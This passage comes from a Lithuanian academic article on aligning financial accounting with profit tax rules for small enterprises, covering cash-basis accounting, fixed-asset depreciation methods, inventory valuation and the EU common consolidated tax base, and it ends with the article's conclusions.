principui, kuomet registruojamos su gamybine-komercine ir kitokia ekonomine veikla susijusios piniginės
įplaukos ir apmokėtos piniginės išlaidos.
Piniginių įplaukų ir išlaidų registracija yra gana paprasta, ji gali būti sutelkta viename apskaitos registre
(žurnale). Svarbus pinigų principo privalumas, kad galima išvengti dvigubos (finansinės ir mokesčių) ūkio
subjektų veiklos apskaitos. Labai supaprastėja ir mokesčių (pelno ar pajamų) apskaičiavimas. Visa tai labai
palengvintų administracinę naštą smulkiajam verslui ir mokesčių administravimą jo institucijoms.
Finansinės apskaitos ir pelno mokesčio bazės nustatymo metodikų derinimas
Mokesčių apskaitos ryšys su finansine apskaita yra nuolatinis mokslininkų ir specialistų diskusijų
objektas (Tušaitė, 2003; Badmajeva, 2005; Bandzevičiūtė, 2008, Zinkevičienė, 2010; Balabonienė, Večerskienė,
2011; Černius, 2012; Strouhal, 2012; Watrin, Pott, Ullmann, 2012). Šių apskaitos rūšių metodikų neatitikimai
sukelia apmokestinamojo ir apskaitinio pelno skirtumus ir gerokai komplikuoja apskaitos tvarkymą.
Lietuvoje dominuoja palyginti nedidelės įmonės. Statistikos departamento duomenimis, 2012 m.
pradžioje 83,5 proc. veikiančių ūkio subjektų uždirbo tik iki 1 mln. Lt pajamų ir 78,3 proc. subjektų turėjo
mažiau nei 10 darbuotojų (Veikiančių ūkio subjektų ...). Tokias pajamas ir darbuotojų skaičių turinčios įmonės
priskiriamos labai mažoms įmonėms (LR smulkiojo ir...).
Nedidelių įmonių apskaitos praktikoje, siekiant laikytis apskaitos optimalumo reikalavimų, išvengti
nepagrįstų darbo sąnaudų, taikytina galimai paprastesnė finansinė apskaita, pasirinktinos šios apskaitos
reglamentų alternatyvos, atitinkančios galiojančias pelno mokesčio skaičiavimo nuostatas.
Daugiausiai pasirinkimo galimybių yra ilgalaikio materialiojo turto (IMT) apskaitoje. Nusistatant šio
turto apskaitos politiką, svarbu iš 12-ajame VAS (12-asis verslo...) nurodytų alternatyvų pasirinkti artimas pelno
mokesčio nuostatoms arba visiškai atitinkančias jas. Tai pasakytina apie IMT pirminio vertinimo nuostatas,
nusidėvėjimo skaičiavimo metodiką ir kt. (Tušaitė, 2003; Černius, 2012).
Įmonės, pasirinkdamos IMT objektų naudingo tarnavimo laiką, turi neviršyti PMĮ nustatytų
maksimalių nusidėvėjimo normatyvų (metais). PMĮ nurodytos mažos įmonės gali pačios nusistatyti
maksimalius nusidėvėjimo normatyvus, neatsižvelgdamos į įstatyme nurodytus normatyvus (LR pelno...).
12-ajame VAS nurodyti keturi IMT nusidėvėjimo skaičiavimo metodai: 1) tiesiogiai proporcingas
(tiesinis); 2) produkcijos; 3) metų skaičiaus ir 4) dvigubai mažėjančios vertės (12-asis verslo...). PMĮ įteisinti tik
trys metodai – metų skaičiaus metodas neteikiamas (LR pelno...). Be pastarojo metodo galima apsieiti ir
finansinėje apskaitoje.
Teoriniu požiūriu pasirinktinas metodas, kuris tiksliausiai atspindi būsimos su turtu susijusios
ekonominės naudos modelį. Tačiau praktiškai nustatyti tokį modelį pagal daugelį objektų yra sunku.
Pastatų bei statinių nusidėvėjimui skaičiuoti labiausiai rekomenduotinas tiesinis metodas, nes nustatyti
jų ekonominės naudos dinamiką yra gana sudėtinga. Literatūroje (Černius, 2012) teoriškai aptartas pastatų
nusidėvėjimo skaičiavimo variantas, kai finansinėje apskaitoje taikomas tiesinis metodas, o pelno mokesčio
apskaitoje – dvigubo balanso metodas. Toks variantas nepagrįstai padidintų apskaitos darbo sąnaudas ir
vengtinas praktikoje.
Mašinų bei įrangos amortizaciją tikslinga skaičiuoti dvigubo balanso (dvigubai mažėjančios vertės)
metodu, nes technikos priemonės didžiausią ekonominę naudą teikia pirmaisiais naudojimo metais. Šio turto
nusidėvėjimui skaičiuoti gali būti pasirinktas ir tiesinis metodas. Tiek vienas, tiek kitas pasirinkimas atitinka
PMĮ nuorodas.
Galima išvengti finansinės ir mokesčių apskaitos skirtumų IMT pradinio ir paskesnio vertinimo srityse.
Pagal PMĮ į turto įsigijimo išlaidas visais atvejais PVM neįskaitomas (LR pelno...). O 12-ajame VAS numatytos
dvi negrąžinamo PVM priskirties alternatyvos: 1) įskaityti į IMT savikainą arba 2) iš karto priskirti įmonės
sąnaudoms (12-asis verslo...). Apskaitos supaprastinamo požiūriu tinkamesnis yra antrasis variantas.
Paskesnėje po IMT įsigijimo apskaitoje pagal 12-ąjį VAS turtas gali būti pateikiamas vienu šių būdų: 1)
įsigijimo savikaina ar 2) perkainota verte. Antrasis įvertinimo būdas PMĮ nenumatytas. Nedidelėse įmonėse jo
reiktų išvengti ir finansinėje apskaitoje. Pažymėtina, kad TFAS mažoms bei vidutinėms įmonėms perkainotos
vertės būdas nerekomenduotas (Mažų ir..., 2009). Lietuvos autorių tyrimais nustatyta, kad šalies verslo
subjektuose dominuoja IMT vertinimas įsigijimo savikaina (Zinkevičienė, 2010). Apskaitos optimalumo,
finansinės bei mokesčių apskaitos suderinimo požiūriais šis įvertinimo būdas turėtų vyrauti ir ateityje.
Aktualus ir žaliavų bei medžiagų įvertinimas (Tušaitė, 2003; Balabonienė,Večerskienė, 2011). Pagal
PMĮ jų įsigijimo kainą sudaro pirkimo kaina ir visos su įsigijimu susijusios išlaidos, išskyrus PVM (LR pelno...). 
33
Nereikšmingos trumpalaikio turto transportavimo ir paruošimo naudoti išlaidos gali būti neįskaičiuojamos į jo
įsigijimo savikainą, bet nurašomos kaip veiklos sąnaudos. 9-ajame VAS „Atsargos“ pateiktos alternatyvios
nuostatos dėl kitų nei pirkimo kaina įsigijimo išlaidų, įskaitant ir negrąžinamą PVM, priskirties: 1) įskaityti į
įsigijimo savikainą arba 2) iš karto priskirti veiklos sąnaudoms (9-asis verslo...). Apskaitos optimalumo požiūriu
rekomenduojama antroji alternatyva.
Sunaudotos atsargos pagal PMĮ turi būti įvertinamos taikant FIFO metodą. Kitoks metodas (LIFO;
svertinio (slenkančiojo) vidurkio; konkrečių kainų ar kt.), pasirinktas finansinėje apskaitoje, gali būti taikomas
tiktai mokesčių administratoriaus leidimu (LR pelno...).
Daugumoje organizacijų (90 proc.) atsargos įkainojamos FIFO metodu (Balabonienė, Večerskienė,
2011). Mūsų nuomone, šis metodas atitinka dažniausiai pasitaikančias atsargų naudojimo aplinkybes, atitinka
pagrindinę pelno mokesčio nuostatą, todėl turėtų dominuoti ir ateityje.
Išvados
1. Daugumoje Lietuvos įmonių dabar stengiamasi suderinti nacionalinių apskaitos standartų ir pelno
mokesčio nuostatas finansinės apskaitos sistemoje. Tačiau turėtų būti glaudesnis finansinės ir mokesčių
apskaitos ryšys. Apmokestinamojo pelno apskaičiavimo nuostatos koreguotinos pagal finansinės apskaitos
reikalavimus.
2. Radikaliausia pelno mokesčio reformavimo priemonė - šio mokesčio panaikinimas. Mokslinėse
publikacijose ir analitikų išvadose nurodoma, kad šios priemonės taikymas paskatintų verslo plėtrą, užsienio
investicijas, sumažintų valstybės išlaidas mokesčiams administruoti ir pačių įmonių apskaitos sąnaudas, ribotų
šešėlinę ekonomiką ir suteiktų kitokios naudos. Tačiau yra ekonomistų, nepritariančių pelno mokesčio
naikinimui, todėl taikytinas dalinis šio mokesčio reformavimas – panaikinti pelno mokestį visoms investicijoms.
Ši lengvata padėtų išplėsti investicijų apimtis, skatintų visos ekonomikos plėtrą ir didintų jos efektyvumą, o tai
yra labai svarbu dabartinėmis ekonomikos funkcionavimo sąlygomis.
3. Svarbi priemonė pelno mokesčio administravimui palengvinti tiek pačiose įmonėse, tiek mokesčių
institucijose yra pelno mokesčio bazės koregavimas. Reikia iki minimumo sumažinti leidžiamų atskaitymų
ribojimą, pasiekti, kad pelno mokesčio bazės dydis maksimaliai atitiktų apskaitinio pelno sumą. Straipsnyje,
remiantis autorių atliktos mokslinių straipsnių ir analitinių studijų loginės analizės rezultatais, pasiūlyta
pakoreguoti LR Pelno mokesčio įstatymo nuostatas dėl ilgalaikio turto įsigijimo kainos nustatymo, nusidėvėjimo
(amortizacijos) skaičiavimo ir atsargų sąnaudų nustatymo.
4. Europos Komisija siūlo suvienodinti pelno mokesčio bazės skaičiavimo tvarką Europos Sąjungos
šalyse ir 2011 m. pateikė svarstymui Tarybos direktyvos projektą dėl bendros konsoliduotos pelno mokesčio
bazės. Pasiūlyta bendrosios konsoliduotos pelno mokesčio bazės formavimo sistema vertintina pozityviai. Jos
įgyvendinimas sumažintų pelno mokesčio administravimo naštą ir padėtų sukurti palankesnę tarptautinę bei
nacionalinę verslo aplinką. Tačiau ši sistema nesumažina įmonių veiklos rezultatų finansinės ir mokesčių
apskaitos skirtumų, o netgi juos padidina, nes nesiejama su finansinės apskaitos reglamentais.
Bendrosios konsoliduotos pelno mokesčio bazės nustatymo taisyklės turėtų būti galimai artimesnės
Tarptautinių finansinės atskaitomybės standartų nuostatoms. Tuomet įmonių pelno mokesčio bazės
apskaičiavimas taptų paprastesnis, nes jam atlikti pagrindinai būtų naudojami finansinės apskaitos duomenys. Ši
apskaita, tinkamai ją tvarkant, garantuoja tikrą bei teisingą finansinio rezultato informaciją, ir ji yra pakankamai
ekonomiškai pagrįstas pelno mokesčio bazės nustatymo pagrindas.
5. LR Pelno mokesčio įstatyme pernelyg apribotas pinigų apskaitos principo taikymas – jį gali pasirinkti
tik labai mažai įmonių ir tik pajamoms pripažinti. Reikėtų sudaryti juridines sąlygas, kad šį principą galėtų
pasirinkti daugelis nedidelių įmonių ir taikyti tiek pajamų, tiek išlaidų apskaitoje. Tuomet apmokestinimo baze
taptų ūkio subjekto piniginių įplaukų ir išmokų skirtumas. Tai labai palengvintų mokesčių apskaičiavimą ir
suteiktų informacinių privalumų.
6. Mokesčių apskaitą gerokai komplikuoja dar nemaži šios apskaitos ir finansinės apskaitos skirtumai.
Šių skirtumų mažinimas yra nuolatinis mokslininkų ir specialistų diskusijų objektas. Nedidelių įmonių, o jų
Lietuvoje yra daugiausia, apskaitos praktikoje taikytina galimai paprastesnė finansinė apskaita, pasirinktinos šios
apskaitos reglamentų alternatyvos, atitinkančios galiojančias pelno mokesčio skaičiavimo nuostatas. Šiam tikslui
pasiekti įmonės turi straipsnyje nurodytų galimybių ilgalaikio turto, žaliavų bei medžiagų apskaitos srityse. 
  
                    </p>



				</div>
			</div>



			<!-- CONTENT END -->

			
		</div>
	</div>


	<footer>
		<div class="container">
			<div class="copy">
				<div><a href="#">Политика Конфеденциальности</a> <a href="#">Условия пользования</a></div>
				<span>© 2019 Copyright. All rights reserved.</span>
			</div>
		</div>
	</footer>

	<script src="assets/scripts.min.js"></script>
</body>

</html>
